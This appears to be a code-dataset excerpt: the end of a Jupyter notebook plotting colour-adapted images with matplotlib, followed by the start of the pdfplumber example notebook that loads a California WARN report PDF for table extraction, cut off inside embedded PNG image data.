P\nodjt7x1DuOM4t6gAfvs6sZPx9WN2yuJ4mknqiABNEa2EBnch7ARCOm9CmCVYb1tCE06JwN2xDNGH\nm29KiYSho69KRlA66PCgabWzE+NNcl6XgseIVthPiWMKrCqL1nE2K4qH0FWp7rdWI/TbDM7iY6BL\nxbl6Gsc9GmM4PqDJ6Mys4lhPlAQuxr1OPLeGJyE80RVAQIzkyiU6M+MIbcVpPowU8eHvgwv1NrET\nMUJMK5kSxno7Ijt5sCJoEtRHlwfg0kdb2AnClYRzcuefPX54kS379Df+drgIeAVPY0XWTpDvQAJN\nO3x9gpJJGFYnEEF0IeTnN3EoKIr7Cfw4bvKqo2XnQ+9x6+CNSapbOz/dISUhyxl/OMDjF6CfIuqE\nJqiNlB4JjdtNXyCNfLDxgTSCQhbGhklfiSmQOIwjWVEkGiONDLKMebScJ9wqtlwhViZJRH5AJPBq\npHlCdgmrSrTP/4LeSzrSkjF7fKN3eh1+VGF4yoQZKcrP9d5XLAdiQkqO2UykPhxzyxvWy1e3hYaZ\nmPIYRqWiUYj+jtD7kauG4f0EUcAFykzqDbcTunsgYvhtUQpjWvQ203E5EXOGJEg6El+bV66nmxJi\ntPJxdqFc/+hlHlFtet/0Pvh29P7RdXAmUQQli7Iw/Fl2qnRVZodVg2sI7vCnjLNBwRGdCAmg02TC\naZzNEVFu/TiGU47QcZImSggqQqaTIthl4RjGUzeekmNNmUpGc1BbxlLlPjNakg5rGiPOTmbFeBvC\n7E7Wxm2REFSQftu2kvGvrz1oSdgRoI5GImxhCtgXgJlHgv976cwpEdXoVZDopDR8IsIK7sbaG7tS\nKK5kxgaYBjxMBVajeyIlQRDIkH0YITYZ0RY1VpIrNTlXU8o0ceqOZWHfC10hJageVBeqjBnBk0N1\nZ1cE18I5xlFWM+VanB0Zt+BKYt+d0wRqOuZ0IjjmxGcWXMOpEjTrAOwiUdXQUFpiuB/5/7te/r+O\n6+g4ku8JX3GGFcHI/1K8C+yP5Frp+QgzYCtRXo8bvXSQGWLFlw+we4Cljjay7Mc6Jk5IAtJYN21P\n48/uH6Cu6Po88sSeHclvkLuCrIH7iciKxR1imaoLWg5IO4NeCStoBHDCNSGqMGUiJjxORNyPldLW\nYeqIZzpOJmFtAe3oNCNyT8fo/Zmke6R9wMun2Jc/I00zzHcIRvSVWB+xw564rnQMMkR5QOZ75PSe\nkAMaK5HyCARcO54LepiQ2BPXzyHtCRZUDtg80S9nZMqkPtMVJJdxQ7YE0sbztK0IDS9HmD4FGhoN\n72C7DHLPkHCB8zN8MgErml/h9UzcvSa3hc54GLF8AEBaInbjsx7PRBkeGS+UTe+b3r9NvX90HZyN\njY2NjY2NjV+UF2wRu7GxsbGxsfH/V7YCZ2NjY2NjY+PFsRU4GxsbGxsbGy+OrcDZ2NjY2NjYeHFs\nBc7GxsbGxsbGi2MrcDY2NjY2NjZeHFuBs7GxsbGxsfHi2AqcjY2NjY2NjRfHVuBsbGxsbGxsvDi2\nAmdjY2NjY2PjxbEVOBsbGxsbGxsvjq3A2djY2NjY2HhxbAXOxsbGxsbGxotjK3A2NjY2NjY2Xhxb\ngbOxsbGxsbHx4tgKnI2NjY2NjY0Xx1bgbGxsbGxsbLw4tgJnY2NjY2Nj48WxFTgbGxsbGxsbL46t\nwNnY2NjY2Nh4cWwFzsbGxsbGxsaLYytwNjY2NjY2Nl4cW4GzsbGxsbGx8eL4fwDZUnUMeNkDYwAA\nAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7effc8072a58>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "pl.figure(3, figsize=(8, 4))\n", "\n", "pl.subplot(2, 3, 1)\n", "pl.imshow(I1)\n", "pl.axis('off')\n", "pl.title('Image 1')\n", "\n", "pl.subplot(2, 3, 2)\n", "pl.imshow(I1t)\n", "pl.axis('off')\n", "pl.title('Image 1 Adapt')\n", "\n", "pl.subplot(2, 3, 3)\n", "pl.imshow(I1te)\n", "pl.axis('off')\n", "pl.title('Image 1 Adapt (reg)')\n", "\n", "pl.subplot(2, 3, 4)\n", "pl.imshow(I2)\n", "pl.axis('off')\n", "pl.title('Image 2')\n", "\n", "pl.subplot(2, 3, 5)\n", "pl.imshow(I2t)\n", "pl.axis('off')\n", "pl.title('Image 2 Adapt')\n", "\n", "pl.subplot(2, 3, 6)\n", "pl.imshow(I2te)\n", "pl.axis('off')\n", "pl.title('Image 2 Adapt (reg)')\n", "pl.tight_layout()\n", "\n", "pl.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

jsvine/pdfplumber

examples/notebooks/extract-table-ca-warn-report.ipynb

1

324610

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Demonstration of `pdfplumber`'s `extract_table` method.\n", "\n", "This notebook uses `pdfplumber` to extract data from an [California Worker Adjustment and Retraining Notification (WARN) report](../pdfs/ca-warn-report.pdf)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Import `pdfplumber`" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:48.599909Z", "iopub.status.busy": "2022-05-31T19:47:48.599452Z", "iopub.status.idle": "2022-05-31T19:47:48.662136Z", "shell.execute_reply": "2022-05-31T19:47:48.661436Z" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.7.1\n" ] } ], "source": [ "import pdfplumber\n", "print(pdfplumber.__version__)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Load the PDF" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:48.666030Z", "iopub.status.busy": "2022-05-31T19:47:48.665494Z", "iopub.status.idle": "2022-05-31T19:47:48.715683Z", "shell.execute_reply": "2022-05-31T19:47:48.714472Z" } }, "outputs": [], "source": [ "pdf = pdfplumber.open(\"../pdfs/ca-warn-report.pdf\")" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Get the first page" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:48.720259Z", "iopub.status.busy": "2022-05-31T19:47:48.719671Z", "iopub.status.idle": "2022-05-31T19:47:48.746788Z", "shell.execute_reply": "2022-05-31T19:47:48.745276Z" } }, "outputs": [], "source": [ "p0 = pdf.pages[0]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Display the first page" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:48.751020Z", "iopub.status.busy": "2022-05-31T19:47:48.750552Z", "iopub.status.idle": "2022-05-31T19:47:49.328447Z", "shell.execute_reply": "2022-05-31T19:47:49.327451Z" } }, "outputs": [ { "data": { "image/png": "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